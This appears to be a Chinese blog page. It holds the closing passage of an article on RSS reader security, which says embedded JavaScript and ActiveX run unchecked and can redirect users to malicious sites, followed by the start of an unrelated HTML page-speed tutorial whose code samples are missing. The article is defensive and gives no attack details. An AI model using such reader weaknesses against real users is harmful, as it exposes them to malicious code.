  行文至此,大抵也是到了结束的时候。文章不长,对于如何进行恶意操作的细节更是未提及,或许有些意犹未尽?但相信有心的朋友已经可以从此文中了解到RSS目前存在的一些漏洞以及如何利用它们了,事实上比在web页上包含恶意代码更简单,因为根本没有进行必要的安全检查。而且目前的RSS浏览器大多内嵌了网页浏览的功能,却没做在浏览网页的时候进行代码安全检查的功能。因此事实上用RSS浏览器跳转到网页后比用ie直接浏览更为危险,因为连必要的基本安全检查也没有了。至于当前的解决办法呢——暂时没有太好的,因为目前的RSS浏览器中暂时没看到有限制js代码执行与ActiveX控件执行的功能。就目前而言,如果需要保证RSS浏览的安全性,天缘个人推荐试着使用Maxthon 浏览器附带的RSS阅读功能,至少在被跳转到恶意站点的时候,还有Maxthon本身可以进行网页的安全过滤。

  此文写作的目的,是希望此文可以对RSS的浏览器作者在添加功能的时候有所帮助,同时也能使国内的杀毒厂商意识到RSS浏览器安全方面存在的一些问题,除了在web网页需要实时监控恶意代码外,RSS浏览器的实时监控或许也是不该放过的。目前就国内而言,利用到以上RSS漏洞的恶意站点并不多,这也同RSS 浏览方式在国内的普及和认同有关。但RSS浏览这一块存在重大的安全隐患,是很值得重视的。目前RSS 3.0的标准已基本制定完成(http://www.rss3.org/main.html),新设计的3.0中又新增了许多元素特性,不知道是“技术为人所用,还是人为技术所惑”呢。值得一提的是一位资深hacker Aaron Swartz(其主页在http://www.aaronsw.com/)在自行设计的rss 3.0标准中(http://www.aaronsw.com/2002/rss30),有提出返朴归真的想法,用类似ini文件的格式来表达元素,完全鄙弃html代码解释只用纯文本包含内容。回想起从最早的纯文字邮件,到后来的多媒体邮件——我们真的回的去么?不管如何,希望RSS这一良好的信息表达方式能更好地为大众造福。

文章的最后,由于此文的特殊性,天缘不得不做个免责声明:由于此文中的代码稍加修改即可能造成实际测试时候被转向恶意站点,因此天缘仅保证在此文的首发站点,也就是唯一支付给我稿酬的yesky站点上此文中代码的正确性、安全性与完整性,用户从其他转载站点上依照代码进行测试所造成的后果均与本人无关。

作者介绍:天缘(skylove),本名 曾伟 ,26岁,目前就职于西华师范大学网络中心。

利用HTML优化加快网页速度

0

分类 : 网站技术 | 发表时间 07-03-2006

web开发人员是否必须掌握复杂的组件技术才能加快html页面的访问速度?答案是:不一定!实际上,有许多关于HTML与DHTML方面的技巧,它们原理简单而且上手容易。无论是技术高超的老手,还是初涉编程的菜鸟,领会这些都十分必要。

明显HTML,暗渡“公用脚本”

减少web页面下
载时间的关键就是设法减小文件大小。当多个页面共用一些成分内容时,就可以考虑将这些公用部分单独分离出来。比如:我们可以将多个HTML页面都用到的脚本程序编写成独立存在的.js文件,然后再在页面中按如下方式调用它:



这样,公用文件只需要下载一次,然后就进入缓冲区。等下次再次调用包含公用文件的html页面时,下载时间明显减少。

让样式表内容进入地下工作

CSS是HTML装扮器,一个漂亮的Web页面不可能没有它。HTML页面中有多种引用CSS的方法,不同的方法导致的效率也不一样。通常,我们可以将定义于

间的样式控制代码提取出来,保存到单独的.css文件中,然后在HTML页面中以标记或者@import标记的方式进行引用:





请注意2点:1、.css文件中无需包括